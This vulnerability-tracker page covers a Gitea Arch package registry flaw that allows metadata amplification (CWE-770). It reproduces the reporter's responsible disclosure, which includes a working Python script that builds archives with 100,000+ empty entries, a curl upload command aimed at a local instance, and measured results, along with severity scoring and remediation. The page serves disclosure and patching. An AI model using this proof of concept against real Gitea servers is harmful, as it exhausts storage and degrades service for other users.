Skip to main content

Gitea EUVDEUVD-2026-58125

| CVE-2026-59763 MEDIUM
Allocation of Resources Without Limits or Throttling (CWE-770)
2026-07-21 https://github.com/go-gitea/gitea GHSA-9mq6-mqjj-c2c5
4.3
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain Gitea account with Arch package-publish rights
  2. Delivery
    Generate crafted `.pkg.tar.gz` with 100k+ empty file entries via Python POC
  3. Exploit
    Upload archive via `PUT /api/packages/{owner}/arch/{repo}`
  4. Execution
    Gitea parses unbounded file list into metadata without limits
  5. Persist
    ~45x amplified JSON metadata persisted to database
  6. Impact
    Repeated uploads exhaust DB storage and degrade server availability

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource allocation limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Gitea account holding Arch package publishing permission for the target namespace - no unauthenticated or read-only access path exists. The Gitea instance must have the package registry feature enabled and the Arch package type accessible (not explicitly disabled by the operator). The compressed upload must remain below the configured LIMIT_SIZE_ARCH threshold; the advisory confirms that a 2.35 MB archive with 500,000 entries is rejected at HTTP 403 when the limit is set to 1 MiB, while a 470 KB archive with 100,000 entries is accepted. Limiting factors: exploitation is bounded to the population of users with explicit Arch package-publish rights, no network privilege or proximity is required beyond standard HTTP access to the Gitea API, and the impact is gradual resource exhaustion rather than immediate service crash - defenders can interrupt attacks by revoking publish rights or monitoring for anomalous metadata sizes.

Impact

The reporter's suggested CVSS 3.1 score of 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) is credible and consistent with the description - no NVD-assigned or vendor-confirmed vector is present in the available data, so this rating is the reporter's suggestion only, not independently confirmed. No EPSS score was provided. The vulnerability is not listed in CISA KEV, and the PR:L requirement (authenticated package publisher) materially limits the exposed population compared to unauthenticated attacks, making opportunistic mass exploitation unlikely. However, the full Python POC included in the advisory significantly lowers the barrier for any holder of package-publish rights. For Gitea instances where untrusted or semi-trusted users hold Arch package publishing rights, this is a genuine priority: a single upload produces ~45x metadata amplification, and repeated uploads can exhaust database storage. For instances with no Arch registry in use or tightly controlled publisher accounts, real-world exposure is minimal. The availability impact is partial rather than complete because the amplification is gradual and bounded by upload rate.

Exploit ScenarioDerived

An authenticated Gitea user with Arch package publishing permission runs the advisory's Python POC to generate a 470 KB .pkg.tar.gz archive containing 100,000 empty file entries and a valid .PKGINFO. A single curl -X PUT upload causes Gitea to store 4.5 MB of serialized metadata in the database and generate a 262 KB repository index; repeatedly uploading such archives within a session progressively consumes database storage and degrades server responsiveness for all users on the instance.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 21, 2026

Gitea's Arch package registry allows authenticated users with package-publishing permissions to trigger severe resource amplification by uploading crafted .pkg.tar.gz archives containing large numbers of empty file entries. A 470 KB compressed archive can produce 4.5 MB of database-stored metadata and a repository index with 100,001 lines - approximately 45x amplification - affecting CPU, memory, database storage, and index generation. Publicly available exploit code exists (a complete Python POC is included in the advisory); no active exploitation is confirmed in CISA KEV. The vulnerability is patched in Gitea v1.27.0.

RemediationAI

Upgrade to Gitea v1.27.0 or later (https://github.com/go-gitea/gitea/releases/tag/v1.27.0), which introduces explicit bounds on the number of file entries and cumulative filename byte length during Arch package metadata parsing, as implemented in PRs https://github.com/go-gitea/gitea/pull/38406 and https://github.com/go-gitea/gitea/pull/38426. If immediate upgrade is not feasible, two compensating controls reduce exposure. First, set a strict LIMIT_SIZE_ARCH value in app.ini (e.g., LIMIT_SIZE_ARCH=1MiB) to cap compressed upload size - note that archives compressed below the limit can still cause amplification, so this is a partial mitigation, not a complete fix. Second, and most effective, revoke Arch package publishing permissions from all non-essential accounts via Gitea organization and team permission controls; since the vulnerability is only reachable by authenticated users with explicit publish rights, eliminating those rights removes the attack surface entirely. Neither workaround is a substitute for the v1.27.0 patch.

Affected VersionsENISA

Gitea Open Source Git Server 0 ≤1.26.4

Affected Packages

go code.gitea.io/gitea fix: 1.27.0
go gitea.dev fix: 1.27.0
euvd gitea_open_source_git_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gitea (Go-based self-hosted Git forge, CPE: pkg:go/code.gitea.io/gitea) implements a built-in Arch Linux package registry. When a .pkg.tar.gz archive is uploaded, arch_module.ParsePackage iterates tar entries and appends every non-dot regular filename to a files slice (modules/packages/arch/metadata.go:149-158), which is then JSON-marshaled and persisted to the database as arch_module.PropertyMetadata (routers/api/packages/arch/arch.go:77,143). During repository index generation, this metadata is deserialized (services/packages/arch/repository.go:302) and the full file list is re-joined into the generated index (repository.go:365). CWE-770 (Allocation of Resources Without Limits or Throttling) is the root cause: no bound is enforced on either the count of file entries or cumulative filename byte length before serialization and storage. The compressed upload size limit (LIMIT_SIZE_ARCH) constrains transfer bytes but cannot prevent post-decompression amplification for archives that stay under the threshold, because gzip-compressed archives containing thousands of empty, highly compressible filenames can expand to orders-of-magnitude larger metadata.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 4.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
vuln.today AI 4.3 MEDIUM

Network-accessible upload endpoint requires low-privilege authenticated account with package-publish rights; only availability is affected through resource amplification, with no confidentiality or integrity impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

Lifecycle Timeline

1
CVSS changed
Aug 13, 2026 - 19:22 NVD
4.3 (MEDIUM)

DescriptionCVE.org

Summary

Hello Gitea Security Team,

Thank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation.

During local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation.

As a result, a relatively small compressed .pkg.tar.gz archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service.

Suggested Severity

Suggested severity: Medium

Suggested CVSS 3.1 vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Suggested CVSS score: 4.3

This assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation.

Affected Component

  • Gitea package registry
  • Arch package upload endpoint
  • Arch package metadata parsing
  • Arch repository index generation

Technical Details

The upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index.

The relevant flow appears to include:

  • routers/api/packages/arch/arch.go:46 accepts the upload stream.
  • routers/api/packages/arch/arch.go:55 copies the upload into a HashedBuffer.
  • routers/api/packages/arch/arch.go:62 parses the archive with arch_module.ParsePackage.
  • modules/packages/arch/metadata.go:149 appends each non-dot regular tar entry name to files.
  • modules/packages/arch/metadata.go:158 stores the full list as p.FileMetadata.Files.
  • routers/api/packages/arch/arch.go:77 JSON-marshals the file metadata.
  • routers/api/packages/arch/arch.go:143 persists the metadata as arch_module.PropertyMetadata.
  • services/packages/arch/repository.go:302 deserializes the metadata during index generation.
  • services/packages/arch/repository.go:365 joins the full file list into the generated files entry.

From my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit.

Impact

An authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid .PKGINFO file and a large number of empty regular file entries.

In my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository files index content to become much larger than the compressed upload size.

The practical impact appears to be resource amplification affecting:

  • CPU usage during parsing and index generation
  • memory usage during metadata handling
  • database storage due to large serialized metadata
  • repository index generation size and processing time

This seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages.

Local Validation Results

I tested this only on a local self-hosted Gitea instance.

A 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte arch.metadata database property and a generated repository index whose files member contained 100,001 lines.

A larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte arch.metadata database property and a generated repository files member with 500,001 lines.

Proof of Concept

The following proof of concept is intended only for a local self-hosted test instance.

Save the following script as generate_arch_metadata_test_package.py:

python
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import gzip
import io
import tarfile
from pathlib import Path

PKGINFO = """pkgname = gitea-metadata-test
pkgbase = gitea-metadata-test
pkgver = 1.0.0-1
pkgdesc = Local metadata scaling test package
url = https://example.invalid/
packager = local test
arch = x86_64
license = MIT
builddate = 1714521600
size = 0
"""

def add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None:
    info = tarfile.TarInfo(name=name)
    info.size = len(data)
    info.mode = 0o644
    tar.addfile(info, io.BytesIO(data))

def build_archive(output: Path, entries: int, name_width: int) -> None:
    output.parent.mkdir(parents=True, exist_ok=True)
    with output.open("wb") as raw:
        with gzip.GzipFile(fileobj=raw, mode="wb", compresslevel=9, mtime=0) as gz:
            with tarfile.open(fileobj=gz, mode="w|") as tar:
                add_bytes(tar, ".PKGINFO", PKGINFO.encode("utf-8"))
                for i in range(entries):
                    name = f"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt"
                    add_bytes(tar, name, b"")

def main() -> None:
    parser = argparse.ArgumentParser(
        description="Generate a local Arch package test archive with many empty file entries.",
    )
    parser.add_argument("--entries", type=int, default=100000)
    parser.add_argument("--name-width", type=int, default=8)
    parser.add_argument("--output", type=Path, default=Path("gitea-metadata-test.pkg.tar.gz"))
    args = parser.parse_args()

    if args.entries < 1:
        raise SystemExit("--entries must be at least 1")
    if args.name_width < 1:
        raise SystemExit("--name-width must be at least 1")

    build_archive(args.output, args.entries, args.name_width)
    print(f"wrote {args.output} with {args.entries} regular file entries")

if __name__ == "__main__":
    main()

Generate a test archive:

bash
python3 generate_arch_metadata_test_package.py \
  --entries 100000 \
  --output gitea-metadata-test-100k.pkg.tar.gz

Upload it to a local Gitea test instance with package publishing enabled:

bash
curl -X PUT \
  -H "Authorization: token <TOKEN>" \
  --upload-file gitea-metadata-test-100k.pkg.tar.gz \
  http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo

Observed local result:

text
HTTP_STATUS=201
TIME_TOTAL=0.482909
SIZE_UPLOAD=470403

Additional Validation

Parser-only measurements:

EntriesCompressed archive bytesParsed file entriesMetadata JSON bytesJoined files bytesParse time
25477251,2371,0740 ms
10,00047,46110,000450,112429,99925 ms
100,000470,403100,0004,500,1124,299,999264 ms

Local Gitea upload measurements:

EntriesUpload HTTP statusUpload timeUploaded bytesStored metadata bytesStored file countRepository index blob bytesExtracted files lines
10,0002010.243 s47,461450,11210,00027,26710,001
100,0002010.483 s470,4034,500,112100,000262,301100,001
500,0002011.798 s2,349,76722,500,112500,0001,306,465500,001

Package Size Limit Behavior

I also tested LIMIT_SIZE_ARCH=1MiB with a non-admin package publisher.

EntriesUpload bytesUpload HTTP statusStored metadata bytesNotes
100,000470,4032014,500,112Accepted because the compressed upload was below the package size limit.
500,0002,349,767403not storedRejected with maximum allowed package type size exceeded.

This suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit.

Expected Behavior

Gitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation.

Suggested Remediation

One possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation.

Potential controls could include:

  • limiting the maximum number of regular file entries recorded in FileMetadata.Files
  • limiting the cumulative byte length of recorded file names
  • returning a clear 4xx validation error when an uploaded package exceeds those limits
  • optionally making these limits configurable for instance operators
  • adding regression tests for excessive file-entry count and excessive cumulative file-name size

For example, the validation could follow this general shape:

go
const (
	maxArchMetadataFiles = 10000
	maxArchMetadataFileNameBytes = 1 << 20
)

var totalFileNameBytes int

// inside the tar entry loop
if !strings.HasPrefix(filename, ".") {
	totalFileNameBytes += len(hd.Name)
	if len(files) >= maxArchMetadataFiles || totalFileNameBytes > maxArchMetadataFileNameBytes {
		return nil, util.NewInvalidArgumentErrorf("arch package file metadata exceeds limit")
	}
	files = append(files, hd.Name)
}

This is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements.

Closing

Thank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits.

I appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.

Threat Intelligence Overview

EPSS Score
0.2%
Top 85% exploitable
Prevalence
Medium
popular self-hosted Git platform, widely deployed by developers and enterprises
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +22
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

Vendor StatusVendor

SUSE

Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy